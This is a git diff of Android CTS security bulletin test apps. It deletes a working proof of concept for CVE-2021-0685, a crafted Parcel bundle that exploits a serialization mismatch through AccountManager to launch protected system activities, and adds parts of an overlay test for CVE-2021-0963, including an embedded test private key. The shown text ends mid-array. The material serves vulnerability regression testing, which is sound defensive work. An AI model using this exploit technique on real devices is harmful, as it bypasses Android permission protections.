- context.startActivity(intent);
- mDevice.wait(Until.hasObject(By.pkg(TEST_PKG).depth(0)), LAUNCH_TIMEOUT_MS);
- }
-
- @Test
- public void testPackageElementPresence() {
- BySelector selector = By.pkg(TEST_PKG);
- String message = "Device is vulnerable to b/191055353, indicating a permission"
- + " bypass due to a possible parcel serialization/deserialization"
- + " mismatch in ParsedIntentInfo.java";
- assertNotNull(message, mDevice.findObject(selector));
- }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java
deleted file mode 100644
index df2ee5a..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.cve_2021_0685;
-
-import android.accounts.AccountManager;
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
-
-public class PocActivity extends Activity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_main);
- Bundle verifyBundle = new Bundle();
- verifyBundle.putParcelable(AccountManager.KEY_INTENT, new Intent(this, PocActivity.class));
- Bundle testBundle = new Bundle();
- Intent intent =
- new Intent().setClassName("android", "com.android.internal.app.PlatLogoActivity");
- testBundle.putParcelable(AccountManager.KEY_INTENT, intent);
-
- PocAmbiguator ambiguator = new PocAmbiguator();
- try {
- PocAuthService.mAddAccountResponse = ambiguator.make(verifyBundle, testBundle);
- } catch (Exception exception) {
- exception.printStackTrace();
- }
- startActivity(new Intent()
- .setClassName("android", "android.accounts.ChooseTypeAndAccountActivity")
- .putExtra("allowableAccountTypes",
- new String[] {"android.security.cts.cve_2021_0685.account"}));
- }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java
deleted file mode 100644
index 75b04ca..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java
+++ /dev/null
@@ -1,140 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.cve_2021_0685;
-
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.Parcel;
-import android.text.TextUtils;
-
-import java.util.Random;
-
-public class PocAmbiguator {
- private static final int BUNDLE_MAGIC = 0x4C444E42;
- private static final int BUNDLE_SKIP = 12;
- private static final int VAL_NULL = -1;
- private static final int VAL_BUNDLE = 3;
- private static final int VAL_PARCELABLE = 4;
- private static final int VAL_OBJECTARRAY = 17;
- private static final int VAL_INTARRAY = 18;
- private static final int SIZE_RANDOM_STR = 6;
- private static final int TIMER_MILLIS = 30 * 1000;
-
- public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
- Random random = new Random(1234);
- int minHash = 0;
- for (String s : preReSerialize.keySet()) {
- minHash = Math.min(minHash, s.hashCode());
- }
- for (String s : postReSerialize.keySet()) {
- minHash = Math.min(minHash, s.hashCode());
- }
- String key;
- int keyHash;
- long allowedTime = System.currentTimeMillis() + TIMER_MILLIS;
-
- do {
- key = randomString(random);
- keyHash = key.hashCode();
- } while (keyHash >= minHash && System.currentTimeMillis() < allowedTime);
-
- if (keyHash >= minHash) {
- return null;
- }
-
- if (!padBundle(postReSerialize, preReSerialize.size(), minHash, random)) {
- return null;
- }
- if (!padBundle(preReSerialize, postReSerialize.size(), minHash, random)) {
- return null;
- }
-
- Parcel parcel = Parcel.obtain();
-
- int sizePosition = parcel.dataPosition();
- parcel.writeInt(0);
- parcel.writeInt(BUNDLE_MAGIC);
- int startPosition = parcel.dataPosition();
-
- parcel.writeInt(preReSerialize.size() + 1);
-
- parcel.writeString(key);
- parcel.writeInt(VAL_OBJECTARRAY);
- parcel.writeInt(3);
-
- parcel.writeInt(VAL_PARCELABLE);
- parcel.writeString("android.content.pm.parsing.component.ParsedIntentInfo");
- new IntentFilter().writeToParcel(parcel, 0);
- parcel.writeInt(0);
- parcel.writeInt(0);
- TextUtils.writeToParcel(null, parcel, 0);
- parcel.writeInt(0);
-
- parcel.writeInt(VAL_INTARRAY);
- parcel.writeInt(6);
- parcel.writeInt(1);
- parcel.writeInt(-1);
- parcel.writeInt(0);
- parcel.writeInt(VAL_NULL);
- parcel.writeInt(VAL_INTARRAY);
- parcel.writeInt(4);
-
- parcel.writeInt(VAL_BUNDLE);
- parcel.writeBundle(postReSerialize);
- writeBundleSkippingHeaders(parcel, preReSerialize);
-
- int bundleDataSize = parcel.dataPosition() - startPosition;
- parcel.setDataPosition(sizePosition);
- parcel.writeInt(bundleDataSize);
-
- parcel.setDataPosition(0);
- Bundle bundle = parcel.readBundle();
- parcel.recycle();
- return bundle;
- }
-
- private static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) {
- Parcel skipParcel = Parcel.obtain();
- bundle.writeToParcel(skipParcel, 0);
- parcel.appendFrom(skipParcel, BUNDLE_SKIP, skipParcel.dataPosition() - BUNDLE_SKIP);
- skipParcel.recycle();
- }
-
- private static String randomString(Random random) {
- StringBuilder b = new StringBuilder();
- for (int i = 0; i < SIZE_RANDOM_STR; ++i) {
- b.append((char) (' ' + random.nextInt('~' - ' ' + 1)));
- }
- return b.toString();
- }
-
- private static boolean padBundle(Bundle bundle, int size, int minHash, Random random) {
- while (bundle.size() < size) {
- String key;
- long allowedTime = System.currentTimeMillis() + TIMER_MILLIS;
- do {
- key = randomString(random);
- } while ((key.hashCode() < minHash || bundle.containsKey(key))
- && System.currentTimeMillis() < allowedTime);
- bundle.putString(key, "PADDING");
- if (key.hashCode() < minHash) {
- return false;
- }
- }
- return true;
- }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java
deleted file mode 100644
index 44d7656..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.cve_2021_0685;
-
-import android.accounts.AbstractAccountAuthenticator;
-import android.accounts.Account;
-import android.accounts.AccountAuthenticatorResponse;
-import android.accounts.NetworkErrorException;
-import android.app.Service;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.IBinder;
-
-public class PocAuthService extends Service {
-
- public static Bundle mAddAccountResponse;
-
- @Override
- public IBinder onBind(Intent intent) {
- return new Authenticator(this).getIBinder();
- }
-
- private static class Authenticator extends AbstractAccountAuthenticator {
- @Override
- public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
- String authTokenType, String[] requiredFeatures, Bundle options)
- throws NetworkErrorException {
- return mAddAccountResponse;
- }
-
- Authenticator(Context context) {
- super(context);
- }
-
- @Override
- public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
- return null;
- }
-
- @Override
- public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
- Bundle options) throws NetworkErrorException {
- return null;
- }
-
- @Override
- public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
- String authTokenType, Bundle options) throws NetworkErrorException {
- return null;
- }
-
- @Override
- public String getAuthTokenLabel(String authTokenType) {
- return null;
- }
-
- @Override
- public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
- String authTokenType, Bundle options) throws NetworkErrorException {
- return null;
- }
-
- @Override
- public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
- String[] features) throws NetworkErrorException {
- return null;
- }
- }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/Android.bp
similarity index 97%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
rename to hostsidetests/securitybulletin/test-apps/CVE-2021-0963/Android.bp
index 09297b2..ea39e68 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/Android.bp
@@ -20,7 +20,7 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2021-0963",
defaults: [
"cts_defaults",
],
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/AndroidManifest.xml
new file mode 100644
index 0000000..ae0d416
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0963">
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+ <application>
+ <activity android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ <receiver android:name=".PocDeviceAdminReceiver"
+ android:exported="true"
+ android:permission="android.permission.BIND_DEVICE_ADMIN">
+ <meta-data android:name="android.app.device_admin"
+ android:resource="@xml/device_policies" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+ <service android:name=".PocService" />
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0963" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/integers.xml
similarity index 70%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/integers.xml
index d9e0ab2..6a14b4a 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/integers.xml
@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<!--
- Copyright 2021 The Android Open Source Project
+ Copyright 2022 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -14,7 +14,9 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<account-authenticator
- xmlns:android="http://schemas.android.com/apk/res/android"
- android:accountType="android.security.cts.cve_2021_0685.account"
- android:label="CVE-2021-0685" />
+
+<resources>
+ <integer name="assumptionFailure">-1</integer>
+ <integer name="noException">0</integer>
+ <integer name="timeoutMs">10000</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/strings.xml
new file mode 100644
index 0000000..1da84fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/strings.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="actionKeychainActivity">com.android.keychain.CHOOSER</string>
+ <string name="activityNotFoundMsg">The activity with intent was not found : </string>
+ <string name="activityNotStartedException">Unable to start the activity with intent : </string>
+ <string name="alias">Client</string>
+ <string name="callbackKey">callback</string>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="certType">X.509</string>
+ <string name="dumpsysActivity">dumpsys activity %1$s</string>
+ <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity command
+ </string>
+ <string name="errorMessage">Device is vulnerable to b/199754277 hence any app with
+ "SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+ <string name="keyType">RSA</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="messageKey">message</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayServiceNotStartedException">Unable to start the overlay service</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="statusKey">status</string>
+ <string name="vulActivityNotRunningError">The activity %1$s is not currently running
+ on the device</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/xml/device_policies.xml
similarity index 70%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
rename to hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/xml/device_policies.xml
index d9e0ab2..a826e80 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/xml/device_policies.xml
@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<!--
- Copyright 2021 The Android Open Source Project
+ Copyright 2022 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -14,7 +14,8 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<account-authenticator
- xmlns:android="http://schemas.android.com/apk/res/android"
- android:accountType="android.security.cts.cve_2021_0685.account"
- android:label="CVE-2021-0685" />
+
+<device-admin>
+ <uses-policies>
+ </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/DeviceTest.java
new file mode 100644
index 0000000..3d1c0df
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/DeviceTest.java
@@ -0,0 +1,401 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0963;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.content.res.Resources;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.security.KeyFactory;
+import java.security.PrivateKey;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateFactory;
+import java.security.spec.PKCS8EncodedKeySpec;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private DevicePolicyManager mDevicePolicyManager;
+ private ComponentName mComponentName;
+ Context mContext;
+
+ /**
+ * Generated from above and converted with:
+ *
+ * openssl pkcs8 -topk8 -outform d -in userkey.pem -nocrypt | xxd -i | sed 's/0x/(byte) 0x/g'
+ */
+ private static final byte[] PRIVATE_KEY =
+ new byte[] {(byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x76, (byte) 0x02,
+ (byte) 0x01, (byte) 0x00, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09,
+ (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d,
+ (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x04,
+ (byte) 0x82, (byte) 0x02, (byte) 0x60, (byte) 0x30, (byte) 0x82, (byte) 0x02,
+ (byte) 0x5c, (byte) 0x02, (byte) 0x01, (byte) 0x00, (byte) 0x02, (byte) 0x81,
+ (byte) 0x81, (byte) 0x00, (byte) 0xee, (byte) 0x6e, (byte) 0x51, (byte) 0xa8,
+ (byte) 0xc4, (byte) 0x44, (byte) 0xd9, (byte) 0xb7, (byte) 0x53, (byte) 0xf1,
+ (byte) 0xb9, (byte) 0x1b, (byte) 0x9d, (byte) 0x8d, (byte) 0x7c, (byte) 0x9f,
+ (byte) 0x06, (byte) 0xe7, (byte) 0xed, (byte) 0xa8, (byte) 0x05, (byte) 0xb8,
+ (byte) 0xaa, (byte) 0x0a, (byte) 0x2d, (byte) 0x74, (byte) 0x05, (byte) 0x8b,
+ (byte) 0xad, (byte) 0xfe, (byte) 0xd3, (byte) 0x3e, (byte) 0x08, (byte) 0x9d,
+ (byte) 0xc9, (byte) 0xf5, (byte) 0xf7, (byte) 0x81, (byte) 0x90, (byte) 0xf1,
+ (byte) 0xcc, (byte) 0x3f, (byte) 0x91, (byte) 0xda, (byte) 0xcb, (byte) 0x67,
+ (byte) 0x6a, (byte) 0xe8, (byte) 0x4a, (byte) 0xa0, (byte) 0xc3, (byte) 0x8a,
+ (byte) 0x53, (byte) 0xd9, (byte) 0xf0, (byte) 0x17, (byte) 0xbe, (byte) 0x90,
+ (byte) 0xbb, (byte) 0x95, (byte) 0x29, (byte) 0x01, (byte) 0xce, (byte) 0x32,
+ (byte) 0xce, (byte) 0xf8, (byte) 0x02, (byte) 0xfe, (byte) 0xe8, (byte) 0x19,
+ (byte) 0x91, (byte) 0x29, (byte) 0x46, (byte) 0xf7, (byte) 0x67, (byte) 0xd1,
+ (byte) 0xcb, (byte) 0xa7, (byte) 0x20, (byte) 0x8b, (byte) 0x85, (byte) 0x8a,
+ (byte) 0x0c, (byte) 0x07, (byte) 0xf8, (byte) 0xfe, (byte) 0xf4, (byte) 0x5d,
+ (byte) 0x08, (byte) 0xf4, (byte) 0x63, (byte) 0x4a, (byte) 0x69, (byte) 0x66,
+ (byte) 0x28, (byte) 0xcb, (byte) 0x0d, (byte) 0x1c, (byte) 0x7f, (byte) 0x7f,
+ (byte) 0x7e, (byte) 0x83, (byte) 0x49, (byte) 0x66, (byte) 0x6c, (byte) 0x83,
+ (byte) 0x2d, (byte) 0xa0, (byte) 0x51, (byte) 0xf6, (byte) 0x14, (byte) 0x68,
+ (byte) 0x47, (byte) 0x31, (byte) 0x72, (byte) 0x4d, (byte) 0xe9, (byte) 0x1e,
+ (byte) 0x12, (byte) 0x1b, (byte) 0xd0, (byte) 0xe6, (byte) 0x21, (byte) 0xd8,
+ (byte) 0x84, (byte) 0x5f, (byte) 0xe3, (byte) 0xef, (byte) 0x02, (byte) 0x03,
+ (byte) 0x01, (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x81, (byte) 0x80,
+ (byte) 0x24, (byte) 0x95, (byte) 0xb8, (byte) 0xe1, (byte) 0xf4, (byte) 0x7b,
+ (byte) 0xbc, (byte) 0x0c, (byte) 0x6d, (byte) 0x4d, (byte) 0x01, (byte) 0xe2,
+ (byte) 0x42, (byte) 0xe2, (byte) 0x9a, (byte) 0xe4, (byte) 0xab, (byte) 0xe2,
+ (byte) 0x9a, (byte) 0x8c, (byte) 0xd5, (byte) 0x93, (byte) 0xe8, (byte) 0x43,
+ (byte) 0x77, (byte) 0x85, (byte) 0xfd, (byte) 0xf3, (byte) 0xd8, (byte) 0xd6,
+ (byte) 0xe9, (byte) 0x02, (byte) 0xf3, (byte) 0xbf, (byte) 0x82, (byte) 0x65,
+ (byte) 0xc3, (byte) 0x7c, (byte) 0x96, (byte) 0x09, (byte) 0x04, (byte) 0x16,
+ (byte) 0x1d, (byte) 0x03, (byte) 0x3d, (byte) 0x82, (byte) 0xb8, (byte) 0xdc,
+ (byte) 0xbb, (byte) 0xd6, (byte) 0xbf, (byte) 0x2a, (byte) 0x52, (byte) 0x83,
+ (byte) 0x76, (byte) 0x5b, (byte) 0xae, (byte) 0x59, (byte) 0xf6, (byte) 0xee,
+ (byte) 0x84, (byte) 0x44, (byte) 0x4a, (byte) 0xa7, (byte) 0x25, (byte) 0x50,
+ (byte) 0x89, (byte) 0x63, (byte) 0x43, (byte) 0x0b, (byte) 0xc8, (byte) 0xd5,
+ (byte) 0x17, (byte) 0x9d, (byte) 0x8b, (byte) 0x62, (byte) 0xd5, (byte) 0xf1,
+ (byte) 0xde, (byte) 0x45, (byte) 0xe6, (byte) 0x35, (byte) 0x10, (byte) 0xba,
+ (byte) 0x58, (byte) 0x18, (byte) 0x44, (byte) 0xc1, (byte) 0x6d, (byte) 0xb6,
+ (byte) 0x1d, (byte) 0x2f, (byte) 0x53, (byte) 0xb6, (byte) 0x5a, (byte) 0xf1,
+ (byte) 0x66, (byte) 0xbc, (byte) 0x0e, (byte) 0x63, (byte) 0xa7, (byte) 0x0f,
+ (byte) 0x81, (byte) 0x4b, (byte) 0x07, (byte) 0x31, (byte) 0xa5, (byte) 0x70,
+ (byte) 0xec, (byte) 0x30, (byte) 0x57, (byte) 0xc4, (byte) 0x14, (byte) 0xb2,
+ (byte) 0x8b, (byte) 0x6f, (byte) 0x26, (byte) 0x7e, (byte) 0x55, (byte) 0x60,
+ (byte) 0x63, (byte) 0x7d, (byte) 0x90, (byte) 0xd7, (byte) 0x5f, (byte) 0xef,
+ (byte) 0x7d, (byte) 0xc1, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xfe,
+ (byte) 0x92, (byte) 0xa9, (byte) 0xf1, (byte) 0x29, (byte) 0x1e, (byte) 0xd4,
+ (byte) 0x72, (byte) 0xd3, (byte) 0x3f, (byte) 0x9d, (byte) 0xd6, (byte) 0x3d,
+ (byte) 0xe9, (byte) 0xcf, (byte) 0x3e, (byte) 0x06, (byte) 0xdc, (byte) 0x65,
+ (byte) 0x8f, (byte) 0xc0, (byte) 0x81, (byte) 0xc2, (byte) 0x66, (byte) 0xc1,
+ (byte) 0x5c, (byte) 0x2c, (byte) 0xfa, (byte) 0x08, (byte) 0x65, (byte) 0xb6,
+ (byte) 0x47, (byte) 0xc5, (byte) 0x14, (byte) 0x8d, (byte) 0x69, (byte) 0xe9,
+ (byte) 0xaf, (byte) 0x42, (byte) 0x02, (byte) 0x53, (byte) 0x04, (byte) 0x63,
+ (byte) 0x47, (byte) 0xaf, (byte) 0xcc, (byte) 0xae, (byte) 0x08, (byte) 0x31,
+ (byte) 0xba, (byte) 0xea, (byte) 0x85, (byte) 0xda, (byte) 0xd6, (byte) 0xb2,
+ (byte) 0xe7, (byte) 0x4c, (byte) 0xda, (byte) 0xad, (byte) 0x52, (byte) 0x76,
+ (byte) 0x48, (byte) 0x16, (byte) 0xeb, (byte) 0x02, (byte) 0x41, (byte) 0x00,
+ (byte) 0xef, (byte) 0xc4, (byte) 0x7d, (byte) 0x69, (byte) 0x7b, (byte) 0xcb,
+ (byte) 0xcb, (byte) 0xf7, (byte) 0x00, (byte) 0x2d, (byte) 0x05, (byte) 0x3c,
+ (byte) 0xe4, (byte) 0xfd, (byte) 0x5c, (byte) 0xea, (byte) 0xcf, (byte) 0x40,
+ (byte) 0x84, (byte) 0x10, (byte) 0xf1, (byte) 0xc0, (byte) 0xaf, (byte) 0xc7,
+ (byte) 0xc8, (byte) 0x51, (byte) 0xac, (byte) 0x18, (byte) 0x25, (byte) 0x63,
+ (byte) 0x75, (byte) 0xc7, (byte) 0x0e, (byte) 0xa9, (byte) 0xed, (byte) 0x9c,
+ (byte) 0x78, (byte) 0x08, (byte) 0x28, (byte) 0x1d, (byte) 0x9e, (byte) 0xfa,
+ (byte) 0x17, (byte) 0x0f, (byte) 0x7a, (byte) 0x6a, (byte) 0x78, (byte) 0x63,
+ (byte) 0x6e, (byte) 0xb3, (byte) 0x6b, (byte) 0xd6, (byte) 0x43, (byte) 0x4b,
+ (byte) 0x58, (byte) 0xb8, (byte) 0x77, (byte) 0x10, (byte) 0x07, (byte) 0x70,
+ (byte) 0xa6, (byte) 0xa9, (byte) 0xae, (byte) 0x0d, (byte) 0x02, (byte) 0x41,
+ (byte) 0x00, (byte) 0x92, (byte) 0x4c, (byte) 0x79, (byte) 0x0b, (byte) 0x95,
+ (byte) 0xc5, (byte) 0x18, (byte) 0xf4, (byte) 0x90, (byte) 0x40, (byte) 0x8c,
+ (byte) 0x15, (byte) 0x96, (byte) 0x69, (byte) 0x2a, (byte) 0xe7, (byte) 0x8b,
+ (byte) 0x8b, (byte) 0xd7, (byte) 0x76, (byte) 0x00, (byte) 0x7c, (byte) 0xd1,
+ (byte) 0xda, (byte) 0xb9, (byte) 0x9e, (byte) 0x9e, (byte) 0x5e, (byte) 0x66,
+ (byte) 0xbb, (byte) 0x05, (byte) 0x41, (byte) 0x43, (byte) 0x9a, (byte) 0x67,
+ (byte) 0x16, (byte) 0x89, (byte) 0xec, (byte) 0x65, (byte) 0x33, (byte) 0xee,
+ (byte) 0xbf, (byte) 0xa3, (byte) 0xca, (byte) 0x8b, (byte) 0xd6, (byte) 0x45,
+ (byte) 0xe1, (byte) 0x81, (byte) 0xaa, (byte) 0xd8, (byte) 0xa2, (byte) 0x6a,
+ (byte) 0x3c, (byte) 0x5e, (byte) 0x7e, (byte) 0x1c, (byte) 0xa5, (byte) 0xc3,
+ (byte) 0x5b, (byte) 0x93, (byte) 0x8c, (byte) 0x24, (byte) 0x57, (byte) 0x02,
+ (byte) 0x40, (byte) 0x0a, (byte) 0x6d, (byte) 0x3f, (byte) 0x0e, (byte) 0xf1,
+ (byte) 0x45, (byte) 0x41, (byte) 0x8f, (byte) 0x72, (byte) 0x40, (byte) 0x82,
+ (byte) 0xf3, (byte) 0xcc, (byte) 0xf9, (byte) 0x7f, (byte) 0xaa, (byte) 0xee,
+ (byte) 0x6c, (byte) 0x5d, (byte) 0xd1, (byte) 0xe6, (byte) 0xd1, (byte) 0x7c,
+ (byte) 0x53, (byte) 0x71, (byte) 0xd0, (byte) 0xab, (byte) 0x6d, (byte) 0x39,
+ (byte) 0x63, (byte) 0x03, (byte) 0xe2, (byte) 0x2e, (byte) 0x2f, (byte) 0x11,
+ (byte) 0x98, (byte) 0x36, (byte) 0x58, (byte) 0x14, (byte) 0x76, (byte) 0x85,
+ (byte) 0x4d, (byte) 0x56, (byte) 0xe7, (byte) 0x63, (byte) 0x69, (byte) 0x71,
+ (byte) 0xe6, (byte) 0xd1, (byte) 0x0f, (byte) 0x98, (byte) 0x66, (byte) 0xee,
+ (byte) 0xf2, (byte) 0x3d, (byte) 0xdf, (byte) 0x77, (byte) 0xbe, (byte) 0x08,
+ (byte) 0xb4, (byte) 0xcb, (byte) 0x6a, (byte) 0xa1, (byte) 0x99, (byte) 0x02,
